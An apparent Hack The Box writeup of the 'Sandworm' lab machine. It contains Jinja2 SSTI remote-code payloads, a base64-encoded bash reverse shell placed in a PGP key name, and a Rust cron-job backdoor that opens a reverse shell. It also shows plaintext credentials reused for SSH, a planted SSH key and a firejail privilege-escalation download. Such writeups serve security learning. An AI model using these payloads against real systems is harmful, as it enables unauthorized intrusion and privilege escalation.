Sandworm writeup banner

Sandworm

Hack The Box Machine Writeup

Summary

The medium box Sandworm involved many interesting steps and took me quite a while to figure out and complete. There was some lateral movement back and forth between users that I found particularly interesting. The box starts off with a fairly hidden SSTI injection in a web application that can be exploited to achieve RCE and a shell on the box. It quickly becomes clear that this first initial user is in a highly restricted environment however. From here the attacker must move laterally to another user by finding plain text credentials. These can be used with SSH to gain a full shell as the second user and grab user.txt.

The privilege escalation was definitely the harder part of this box and involved quite a few steps. First the attacker must enumerate a suid binary that has a publicly available privilege escalation exploit. To run this binary however requires the permissions of the initial first user. That means the attacker must exploit a cron job to obtain a full shell as the first user. This involves editing some rust files to run commands. The attacker can then finally use this exploitable suid binary to escalate to root.

If you know, you know

If you know, you know

User

Recon

nmap

To slay this worm I started off with an nmap scan using -sC for default scripts and -sV for version enumeration.

sh
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.218
[sudo] password for kali: 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-20 13:10 EDT
Nmap scan report for 10.10.11.218
Host is up (0.034s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after:  2050-09-19T18:03:25
|_http-title: Secret Spy Agency | Secret Security Service
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Subdomain fuzz scan

This scan reveals a domain of ssa.htb through the port 80 redirect. I added this to my /etc/hosts file and ran a wfuzz scan to see if I could find any other subdomains. I first ran the scan to find the default character count for the error page and used the --hh flag and this value to filter those results out. Unfortunately this does not find any more subdomains.

sh
┌──(kali㉿kali)-[~]
└─$ wfuzz -u http://ssa.htb -H "Host: FUZZ.ssa.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hh 178
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://ssa.htb/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                
=====================================================================


Total time: 0
Processed Requests: 19966
Filtered Requests: 19966
Requests/sec.: 0

Web server

Looking at the web servers, port 80 is simply a redirect to https on port 443. The website on port 443 contains three tabs. Home and About which simply contain information about the fictitious company. Thirdly there is a contact tab that contains a link to /guide.

Contents of the contact tab show a link to /guide endpoint

Contents of the contact tab show a link to /guide endpoint

The page at /guide contains another link to a public PGP key.

/guide endpoint links to a public PGP key

/guide endpoint links to a public PGP key

sh
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQINBGRTz6YBEADA4xA4OQsDznyYLTi36TM769G/APBzGiTN3m140P9pOcA2VpgX
+9puOX6+nDQvyVrvfifdCB90F0zHTCPvkRNvvxfAXjpkZnAxXu5c0xq3Wj8nW3hW
E35T6FTSPflDKTH33ENLAQcEqFcX8wl4SxfCP8qQrff+l/Yjs30o66uoe8N0mcfJ
<...>
TzD5J1PDeLHuTQOOgY8gzKFuRwyHOPuvfJoowwP4q6aB2H+pDGD2ewCHBGj2waKK
Pw5uOLyFzzI6kHNLdKDk7CEvv7qZVn+6CSjd7lAAHI2CcZnjH/r/rLhR/zYU2Mrv
yCFnau7h8J/ohN0ICqTbe89rk+Bn0YIZkJhbxZBrTLBVvqcU2/nkS8Rswy2rqdKo
a3xUUFA+oyvEC0DT7IRMJrXWRRmnAw261/lBGzDFXP8E79ok1utrRplSe7VOBl7U
FxEcPBaB0bhe5Fh7fQ811EMG1Q6Rq/mr8o8bUfHh
=P8U3
-----END PGP PUBLIC KEY BLOCK-----

The page also contains a function to encrypt and decrypt PGP messages. The most interesting thing is the verify signature function however. At the very bottom of the page there is a sample PGP message signed with the previously discovered PGP key.

bash
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

This message has been signed with the official SSA private key.

Import our public key linked above into your keychain and use your favorite program to verify this message. PGP signatures are the only reliable way to verify someone's identity within Cyberspace, and ensure secure and private communication between two parties.

Knowing how to Encrypt/Decrypt messages, as well as verifying them is an imperative skill if you wish to conduct yourself securely, without any prying eyes on you.

Make sure you use verified, open-source programs such as KGpg, Kleopatra, OpenPGP, etc.

And finally, rule number one in asymmetric encryption is to keep your PRIVATE key safe. It is for your eyes only.

SSA
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEE1rqUIwIaCDnMxvPIxh1CkRC2JdQFAmRT2bsACgkQxh1CkRC2
JdTCLhAAqdOcrfOsmkffKwdDKATwEpW1aLXkxYoklkH+DCDc58FgQYDNunMQvXjp
Hd41hbrzQNTm4mMwFfYgFR5oNywAfa0D5L+qTrk05DqwvT7uIZF4/Q/iNp8zElKM
rAVci7c6dBSKLzyGOd7c7/ZnM3Clt4krPGD3L4nQB1Vu7Hav8Oj0R2bL3eaNr0sL
lnj84lbWcGqM9sRfnhfSlpqueK0qbZy02PdzsZ/Ox6KI6s1lAZL5v4eynwrZjXVB
S20SeQAzPr+2m0LGQajPaxYvdEs4BkfyApwzauES0X3bckKdZrXZb/iImQxTrhDq
ZKwGG2qoa6xj4zV32l2JYLKfCcZQh/VE3pslfYb5btuZ/h+oSz6rWT0py/gigbX5
j4ps6gzS16uuVLePyw6kZN2tXgqWqR9IRydCqFJSajwanm9n1I99DH+r9vb7CYOI
PFKwIqynqNX6ddpkCpUl3wgGnUoGdox5DLnE7DZGFM4mOhsNuwd8EBgpU18inFb2
MMZO8Qk5bp2qsK9b4LFWDMEL+pzakgJwA1+H5auJLOak+Xee7UcYeqsq1fjpkwIX
mItshTOG0jrtlvAf/PjqZ54yOPCWoyJQr5ZR7m4bh/kicXZVg5OiWrtVCuN0iUlD
7sXs10Js/pgvZfA6xFipfvs7W+lOQ0febeNmjuKcGk0VVewv8oc=
=/yGe
-----END PGP SIGNATURE-----

At this point I tested the functionality by copying the public key into the box on the left and the above signed message into the one on the right. Hitting the verify signature button then pops up a dialog box containing the results.

We can see the name of the key displayed back to us, an excellent chance for SSTI

We can see the name of the key displayed back to us, an excellent chance for SSTI

What was interesting here was that it seemed to echo back the name of the key.

bash
(Official PGP Key of the Secret Spy Agency.) gpg: 
Good signature from "SSA (Official PGP Key of the Secret Spy Agency.)
I guess unless your doing illegal things ;)

I guess unless your doing illegal things ;)

Locate SSTI in PGP

To test this theory I created my own set of keys and a signed message using the gpg tool. There is a great article by Digital ocean that outlines how to use gpg that I will leave here for reference: https://www.digitalocean.com/community/tutorials/how-to-use-gpg-to-encrypt-and-sign-messages. I started off with the --generate-key command to create the set of keys. When asked for a password just click no password needed, this seems to prompt twice for whatever reason.

sh
┌──(kali㉿kali)-[~]
└─$ gpg --generate-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: Fren
Name must be at least 5 characters long
Real name: hackerfren
Email address: fren@kek.com
You selected this USER-ID:
    "hackerfren <fren@kek.com>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? o
<..>
gpg: revocation certificate stored as '/home/kali/.gnupg/openpgp-revocs.d/0744078FA08597158C17627FBD2A16402BEA02A0.rev'
public and secret key created and signed.

pub   rsa3072 2023-09-20 [SC] [expires: 2025-09-19]
      0744078FA08597158C17627FBD2A16402BEA02A0
uid                      hackerfren <fren@kek.com>
sub   rsa3072 2023-09-20 [E] [expires: 2025-09-19]

From here I then created a test message and saved it into a message.txt file. Next I used the -u flag to specify the key we just created, the --clear-sign to present the message in the same format as seen on the website and lastly the name of the file to sign.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "shadiley frens" > message.txt

┌──(kali㉿kali)-[~/Desktop]
└─$ gpg -u hackerfren --clear-sign message.txt 

┌──(kali㉿kali)-[~/Desktop]
└─$ cat message.txt.asc 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

shadiley frens
-----BEGIN PGP SIGNATURE-----

iQHBBAEBCgArFiEEB0QHj6CFlxWMF2J/vSoWQCvqAqAFAmULLaINHGZyZW5Aa2Vr
LmNvbQAKCRC9KhZAK+oCoKlrC/9+YdoLnGLzClvT3Arl/Zq3eTzUPATWV/WEPQ2p
WDpjBs9nKrHDIQ1o+q93SUghdIDMXqfCcTgw6bBv3b3L/IJzDyBp0v0CPkteTuL9
PL4uul/lFtqGasz7pKOkZ67u0vKfJWr3+Sbu7Mug7KOEYUTGzkLDpnsvPMyRuBbd
V8G1LQ7NisUwcZEB5uetClBIRlP0YBU6Zj2v6xi/WvMN2FJZI39c7DeZB4zc5SKW
5LLxx1Oyi7prU59CC459V+fz4q0RMzvO+gkJT+RRFxLyL5IbfaPZzTK4yNj2MXT/
X4SmDssVdiyw+PtvIJgtkjXg5ONcgKIstHv5KjB3yNQJJcyE2QuDr0NQrrMgC8E3
j1Iovd0wRvi/HuJFpgoqiFXl3cpiHNTfmozcdWVbKOINRBhKhf7REQ+Ddz/KwSKd
++RmWoqaYD5TUm6UNRcrVou1USpk+59HMMfNZkfSA8JmRME6Pa65+JmpBJzIVSUe
e/4T6Stcx8JQDm1PQ1zV9Yjw1NA=
=jOJh
-----END PGP SIGNATURE-----

I next needed to generate the public key in cleartext to import it into the web application. To do so I used the --output flag to specify the output file name and --armor and --export to export the key. Lastly is the email address of the key.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ gpg --output mygpg.key --armor --export fren@kek.com  

┌──(kali㉿kali)-[~/Desktop]
└─$ cat mygpg.key 
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQGNBGUKN6kBDAC1FM8jdZOtLjcQ/IU8atU/R82o/B3PLCyQqKlqRso7xhSTs4l/
MHvqXZCizCMWkXylN0+C5LDu6xVbPlf+4wTBdbmxbppvTqGj3GQ3f0aNHyPP3DtJ
<..>
XzMigBbFnfuBaKW7JySSCnNLytE233pC9S4IcLQpH/20l4v/giy24ltokV+0oPmC
XxSx+iEnTerG5cI73+Kf
=4+Vt
-----END PGP PUBLIC KEY BLOCK-----

Pasting the public key and the signed message into the web application I saw that the name was indeed being echoed back, as was the email address of the public key. I next repeated the above steps, creating a new key and a new signed message. This time however I used {{7*7}} for the name and email address to test for SSTI. The email address field would not take the input however so I was left just testing for SSTI in the name.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ gpg --generate-key            
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{7*7}}
Email address: {{7*7}}
Not a valid email address
Email address: hacker@kek.com
You selected this USER-ID:
    "{{7*7}} <hacker@kek.com>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? o
<...>

pub   rsa3072 2023-09-20 [SC] [expires: 2025-09-19]
      6223D444838F4D8F9F45E7C9B0F957CA1308FAD4
uid                      {{7*7}} <hacker@kek.com>
sub   rsa3072 2023-09-20 [E] [expires: 2025-09-19]

┌──(kali㉿kali)-[~/Desktop]
└─$ cat message.txt                   
shadiley frens number 2

┌──(kali㉿kali)-[~/Desktop]
└─$ gpg -u {{7*7}} --clear-sign message.txt 

┌──(kali㉿kali)-[~/Desktop]
└─$ cat message.txt.asc 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

shadiley frens number 2

-----BEGIN PGP SIGNATURE-----

iQHDBAEBCgAtFiEEYiPURIOPTY+fRefJsPlXyhMI+tQFAmULMAYPHGhhY2tlckBr
ZWsuY29tAAoJELD5V8oTCPrUwMsL/Ap8GuVm4Su3MUAHtmcZnTYWehbxIDj8pnNU
4ewqiP1es1qFcmEqZbP1/kk3QA9PTbv18z7Cm4FlyLqLGsYL/FzfWghJIFvDT7NT
RDibIFdyw97EaMq1yh50mCmGZZxeVyVMW87G0bDcV8vQyD47Wuz93KJh6t47ldAl
/UGx4+kHxe02cKfngKM/H3ahqt6/0sbUQcDpJ2JdJDONJp6raQNUqpbeUGUMGNAp
gmGqmS+NYJhyRMFdusEsGd6xQSb9XlTfXpuU8f7WjLzqLCFnkaSlyphCjWizs618
p9MEkDIpEYgRew611Qfvl3hC4YfFDnJjAzVrkK1w3x5iHzTzjjO5OxZdImfvhYtE
DKA0Ad13FkO4KGRvJDZIysMR+d/Ys98iZlGWvYWKoaLXvkfKDIgH11WZdyeTncpk
umzLqKO85yeRsL8tkJoOsC6ZtLbQ8XfyfemfDXs0mXAlInlq4JPh9W8J5zfmSi6W
2bKYP8j1th0R1vYvyKdg+uvoPgIozg==
=igyo
-----END PGP SIGNATURE-----

┌──(kali㉿kali)-[~/Desktop]
└─$ gpg --output mygpg.key --armor --export hacker@kek.com 

┌──(kali㉿kali)-[~/Desktop]
└─$ cat mygpg.key      
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQGNBGULL5EBDAC2lM+wfPLJkamlFOeXz7HHk7IOPAVvGfXzR6WE6cONpZpG9sgs
W/7OfFVoHd4E8FEGrBk9qMBNlYCzLdSX6A0OOYDtQsGsLIYEXa4zZAllYybQw8sF
J5QCaGJWXUECpvgYuFecmhy6mH80/aoUYdnir1Q7aXrUzfItCkM2P9YKRBO/5+0e
<...>
Y5qHMbV5Kb0Sz9r1xhqZT0CRmcKCwAF413+1fKqVCOtKfQ1xXj3N8lt44hT2oPMC
3PzNRXI/5ckaBLw/8MpP1w==
=3fxZ
-----END PGP PUBLIC KEY BLOCK-----

Putting this new public key and signed message into the web application I confirmed that the name field was indeed vulnerable to an SSTI attack. Now the hunt was on to find a way to execute code with this SSTI. The best way to do this is to enumerate what the template engine in use is. At the bottom of the webpage it notes that it is "powered by Flask" - this would imply that it is using python, which helps to narrow in our search. Hacktricks provides a great page on SSTI and includes test strings to help enumerate the template engine in use: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#identify

Wonderful chart to determine template engine though injection

Wonderful chart to determine template engine though injection

Jinja2 SSTI

As I knew {{7*7}} worked I then tested for {{7*'7'}} as shown in the chart. I will not include that for sake of brevity but the steps are the exact same as already shown twice. This comes back with 49, meaning that the template is either Jinja2 or Twig. Looking at the Hack Tricks page one can see that Twig is for PHP and Jinja2 is used with python. As we know the website is also likely using python as evidenced by the powered by flask statement. It is safe to conclude the template engine in use in Jinja2. Knowing this I then browsed to the Jinja2 section on the Hacktricks SSTI page: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python. This gives a couple examples of payloads to gain RCE.

sh
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Picking the first one and using it as the name for a new set of keys and a signed message I was able to achieve code execution and show the web site is being run as the Atlas user.

Atlas be like:

Atlas be like:

From here I simply needed to replace id with a bash reverse shell. Unfortunately it does not like the < or > characters. To get around this I base64 encoded the reverse shell payload string and had it pipe into base64 decode and again into bash.

sh
Real name: {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c \"bash -i >& /dev/tcp/10.10.14.10/42069 0>&1\"').read() }}
Invalid character in name
The characters '<' and '>' may not appear in name

┌──(kali㉿kali)-[~/Desktop]
└─$ echo bash -c "bash -i >& /dev/tcp/10.10.14.10/42069 0>&1" | base64                
YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQyMDY5IDA+JjEK

┌──(kali㉿kali)-[~/Desktop]
└─$ gpg --generate-key 
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('echo "YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQyMDY5IDA+JjEK" | base64 -d | bash').read() }}
Email address: fren@kek.org
You selected this USER-ID:
    "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('echo "YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQyMDY5IDA+JjEK" | base64 -d | bash').read() }} <fren@kek.org>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? o
<...>

pub   rsa3072 2023-09-20 [SC] [expires: 2025-09-19]
      5D07AD97C7E622E967ADDBC281ED55341A08E584
uid                      {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('echo "YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQyMDY5IDA+JjEK" | base64 -d | bash').read() }} <fren@kek.org>
sub   rsa3072 2023-09-20 [E] [expires: 2025-09-19]

┌──(kali㉿kali)-[~/Desktop]
└─$ gpg -u "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('echo \"YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzQyMDY5IDA+JjEK\" | base64 -d | bash').read() }}" --clear-sign message.txt

┌──(kali㉿kali)-[~/Desktop]
└─$ gpg --output mygpg.key --armor --export fren@kek.org 

Pasting this final public key and signed message into the web application results in a hit on my NC listener and finally gives a foothold on the host as the atlas user. I tried to use the script trick to upgrade the shell but this did not work as there appears to not be the script binary. Instead I was able to use the python trick to upgrade the shell.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 42069
listening on [any] 42069 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.218] 53714
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)

python3 -c 'import pty;pty.spawn("/bin/bash")'
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ ^Z
zsh: suspended  nc -lvnp 42069
                                                                                                                          
┌──(kali㉿kali)-[~/Desktop]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 42069
                                reset
Could not find command-not-found database. Run 'sudo apt update' to populate it.
reset: command not found
atlas@sandworm:/var/www/html/SSA$

Shell as Silentobserver

There was no user.txt file to be found! there however was a second user on the box called silentobserver. looking in the atlas user's home directory there is a .config directory. configurations are always good targets as they often contain credentials. Using ls -R to recursively list the contents of the directory I saw an admin.json file that seems very interesting.

sh
atlas@sandworm:/home$ ls                 
atlas  silentobserver

atlas@sandworm:~$ ls -la
total 44
drwxr-xr-x 8 atlas  atlas   4096 Jun  7 13:44 .
drwxr-xr-x 4 nobody nogroup 4096 May  4 15:19 ..
lrwxrwxrwx 1 nobody nogroup    9 Nov 22  2022 .bash_history -> /dev/null
-rw-r--r-- 1 atlas  atlas    220 Nov 22  2022 .bash_logout
-rw-r--r-- 1 atlas  atlas   3771 Nov 22  2022 .bashrc
drwxrwxr-x 2 atlas  atlas   4096 Jun  6 08:49 .cache
drwxrwxr-x 3 atlas  atlas   4096 Feb  7  2023 .cargo
drwxrwxr-x 4 atlas  atlas   4096 Jan 15  2023 .config
drwx------ 4 atlas  atlas   4096 Sep 20 18:20 .gnupg
drwxrwxr-x 6 atlas  atlas   4096 Feb  6  2023 .local
-rw-r--r-- 1 atlas  atlas    807 Nov 22  2022 .profile
drwx------ 2 atlas  atlas   4096 Feb  6  2023 .ssh

atlas@sandworm:~/.config$ ls -R
.:
firejail  httpie
ls: cannot open directory './firejail': Permission denied

./httpie:
sessions

./httpie/sessions:
localhost_5000

./httpie/sessions/localhost_5000:
admin.json

Checking out this admin.json file reveals a password for the silentobserver account I had found. Using these credentials I was able to ssh into the box and finally grab user.txt.

sh
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json 
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
<...>

┌──(kali㉿kali)-[~/Desktop]
└─$ ssh silentobserver@ssa.htb
<...>
silentobserver@ssa.htb's password: quietLiketheWind22
<...>

silentobserver@sandworm:~$ cat user.txt
ac613997343e3bf3640943c80e9bddad
Silent but deadly?

Silent but deadly?

Root

Enumeration

Root Suid

Sudo -l does not reveal any sudo permissions for the slientobserver user. Running a find command to locate suid binaries does reveal a couple of interesting hits however

sh
silentobserver@sandworm:/tmp$ find / -type f -perm /4000 2>/dev/null
/opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
/opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
/usr/local/bin/firejail
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
/usr/bin/fusermount3

Firejail Privilege Escalation

Googling for exploits for any of these firejail comes back with a privilege escalation script:[ https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25](https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25). looking at the permissions of firejail it had execute permissions for a jailer group. Using the groups command I was then able to deduce that the atlas user was a member of the jailer group. Strangely enough going back to the atlas shell I noticed that the binary was missing. There were also strange things like the find and whoami commands being missing. This led me to believe that the atlas user was stuck in a restricted shell and I likely needed to get a full shell as the user to abuse the firejail binary.

bash
silentobserver@sandworm:/tmp$ ls -la /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29  2022 /usr/local/bin/firejail

silentobserver@sandworm:/tmp$ groups atlas
atlas : atlas jailer

atlas@sandworm:/usr/local/bin$ ls
base64    bash  dash   gpg        groups  lesspipe  python3     sh
basename  cat   flask  gpg-agent  id      ls        python3.10

Could not find command-not-found database. Run 'sudo apt update' to populate it.
find: command not found

atlas@sandworm:/usr/local/bin$ whoami 
Could not find command-not-found database. Run 'sudo apt update' to populate it.
whoami: command not found
Hope they have insurance

Hope they have insurance

Breakout Using Rust

Running pspy to check out the processes shows some interesting things. It looks like the atlas user is running some rust commands as well as a cargo binary. There is also a strange chmod adding uid to the /opt/tipnet/target/debug/tipnet for the atlas user.

bash
2023/09/20 18:46:01 CMD: UID=1000  PID=3786   | rustc -vV 
2023/09/20 18:46:01 CMD: UID=1000  PID=3787   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed   
2023/09/20 18:46:01 CMD: UID=1000  PID=3789   | /usr/bin/cargo run --offline 
2023/09/20 18:46:01 CMD: UID=1000  PID=3791   | rustc -vV 
2023/09/20 18:46:11 CMD: UID=0     PID=3797   | /bin/bash /root/Cleanup/clean_c.sh 
2023/09/20 18:46:11 CMD: UID=0     PID=3798   | /bin/rm -r /opt/crates 
2023/09/20 18:46:11 CMD: UID=0     PID=3799   | 
2023/09/20 18:46:11 CMD: UID=0     PID=3800   | /usr/bin/chmod u+s /opt/tipnet/target/debug/tipnet

Inside the directory of /opt/tipnet/target/debug/ this a tipnet.d file. Checking out this daemon file reveals 2 rust files, which is of note considering the rust commands being run by the atlas user. checking out the file permissions on these it is extremely strange that our silentobserver user has write permissions through its siletobserver group over the /opt/crates/logger/src/lib.rs file.

sh
silentobserver@sandworm:/opt/tipnet/target/debug$ cat tipnet.d
/opt/tipnet/target/debug/tipnet: /opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs

silentobserver@sandworm:/opt/tipnet/target/debug$ ls -la /opt/crates/logger/src/lib.rs
-rw-rw-r-- 1 atlas silentobserver 732 May  4 17:12 /opt/crates/logger/src/lib.rs

This page from the rust documentation details how to spawn a process[ ](https://doc.rust-lang.org/std/process/struct.Command.html)to run commands [https://doc.rust-lang.org/std/process/struct.Command.html](https://doc.rust-lang.org/std/process/struct.Command.html). I will use this to edit the file, adding a use std::process::Command to import the functionality and adding the appropriate block of code to the public function to execute commands.

<pre class="language-rust"><code class="lang-rust"><strong>&#x3C;...> </strong>use std::process::Command;

pub fn log(user: &#x26;str, query: &#x26;str, justification: &#x26;str) { let output = if cfg!(target_os = "windows") { Command::new("cmd") .args(["/C", "echo hello"]) .output() .expect("failed to execute process") } else { Command::new("bash") .arg("-c") .arg("bash -i >&#x26; /dev/tcp/10.10.14.10/42069 0>&#x26;1") .output() .expect("failed to execute process") &#x3C;...> </code></pre>

Now when the cron jobs from the atlas user run again the edited rust file will be called by the daemon which will run the bash reverse shell and grant me a full shell as the atlas user. From here I generate a public key and place it in the atlas users .ssh/authorized_keys file so that I can simply ssh into the box as the user.

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): atlas
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in atlas
Your public key has been saved in atlas.pub
The key fingerprint is:
SHA256:agoi7kljugiylg7XZSgm0lWn5Hf5yvbaeOFmU3Y/Xj8 kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|      o .        |
|     + o   .     |
|    . o . o      |
| . . . . . .     |
|o + . o S   .    |
|.o o o . . .. o .|
|*++ . o   +. + .o|
|@*o. o   . +*  E+|
|O*  .     o=o...+|
+----[SHA256]-----+

┌──(kali㉿kali)-[~/Desktop]
└─$ chmod 600 atlas   

┌──(kali㉿kali)-[~/Desktop]
└─$ cat atlas.pub                         
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDL5ys7QHMbc+akJ4HAqoRdS985uykouU/0uW07xruExQo1DF4uEhs453qE/IWdJfaTtcd2k29qQkc4tYlTjrCFZzd/npqdTdmOeaqB5PdE7/V/X1hP/As9Nl7UTOM+C+27YhQEOseUzC7mKPhVTzqyvx5ImQZ6uEfw3IihEKXxIxBX070yixuy3fu5VmxeoGkTpxo+CA7N+Zj5b1+F8sBLQVKNDxq4RsY1foKLZPPwAXHMWddGOedjaacVI1s4kxqTpDXakbfGlBOADMS8ZQMtG7/DGABmK7X5mrYdQfKjZ1cCsTb/z9d0073sEf9eDuw31O0oanfl591EeK7tYcF8r1JtaJfxuJydR6f6/MmtOgQUp/+y+01YESYjvx5T18R2k5PSochpZ2ctfVJlm9Oioqe8VdIN3YDXZeZ3n7kS4Kcu0J0CV+JaxwZeXYRKDfXd2AbPlGbwJxFaAAVH6O5l/U14/e1iQr2RlxZHb3OldFZ96lf18TzUT5QrHyXKOCM= kali@kali

┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 42069
listening on [any] 42069 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.218] 36634
bash: cannot set terminal process group (4711): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDL5ys7QHMbc+akJ4HAqoRdS985uykouU/0uW07xruExQo1DF4uEhs453qE/IWdJfaTtcd2k29qQkc4tYlTjrCFZzd/npqdTdmOeaqB5PdE7/V/X1hP/As9Nl7UTOM+C+27YhQEOseUzC7mKPhVTzqyvx5ImQZ6uEfw3IihEKXxIxBX070yixuy3fu5VmxeoGkTpxo+CA7N+Zj5b1+F8sBLQVKNDxq4RsY1foKLZPPwAXHMWddGOedjaacVI1s4kxqTpDXakbfGlBOADMS8ZQMtG7/DGABmK7X5mrYdQfKjZ1cCsTb/z9d0073sEf9eDuw31O0oanfl591EeK7tYcF8r1JtaJfxuJydR6f6/MmtOgQUp/+y+01YESYjvx5T18R2k5PSochpZ2ctfVJlm9Oioqe8VdIN3YDXZeZ3n7kS4Kcu0J0CV+JaxwZeXYRKDfXd2AbPlGbwJxFaAAVH6O5l/U14/e1iQr2RlxZHb3OldFZ96lf18TzUT5QrHyXKOCM= kali@kali" > /home/atlas/.ssh/authorized_keys

┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i atlas atlas@ssa.htb

atlas@sandworm:~$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)

Firejail Exploit for Real

Now that I have a shell as atlas who is a member of the jailer group I am able to go back and exploit the usid firejail binary. First I uploaded the firejail PE python script found before with the atlas shell. Running this script seems to work and presents me with the message _"You can now run 'firejail --join=5044' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell"_

sh
┌──(kali㉿kali)-[~/Desktop]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.218 - - [20/Sep/2023 15:21:59] "GET /firejail.py HTTP/1.1" 200 -

atlas@sandworm:/tmp$ curl http://10.10.14.10/firejail.py > firejail.py
